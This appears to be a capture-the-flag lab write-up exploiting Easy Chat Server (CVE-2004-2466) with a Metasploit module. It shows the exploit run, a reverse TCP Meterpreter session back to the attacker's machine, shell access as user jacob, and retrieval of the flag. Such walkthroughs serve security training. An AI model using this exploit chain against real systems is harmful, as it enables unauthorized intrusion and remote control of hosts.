• i find out the at port 80 , Easy Chat Server httpd 1.0 service is running and other ports are open too .

• i search this service name on the google and find out that version is vulnerable and assigned a cve ( CVE-2004-2466 ) as category is already mentioned in the lab details , help more accurate search.

• then i look in to the metasploit for module to this vulnerability or CVE .
• and i find out one.

# Exploitation

---

• let’s select the module and see the options for this module , which have to be set before running this .
• we can also check before running this , that it is indeed vulnerable or not and it is bytheway

• now i had setup all the options required for this module , let’s exploit it

msf6 exploit(windows/http/efs_easychatserver_username) > exploit
[*] Started reverse TCP handler on 10.14.0.15:4444 
[*] Sending request (612 bytes) to target (Easy Chat Server 2.1 - 3.1)
[*] Sending stage (177734 bytes) to 10.53.0.55
[*] Meterpreter session 1 opened (10.14.0.15:4444 -> 10.53.0.55:61022) at 2025-05-23 23:15:10 -0400

meterpreter > getuid
Server username: DESKTOP-UT6N7VL\jacob

• now i have shell of jacob ( you can check help menu for command in metasploit )
• we got flag file in the Desktop folder of jocob , and this file says that this flag is for both user and root , so no need for privilege escalation .
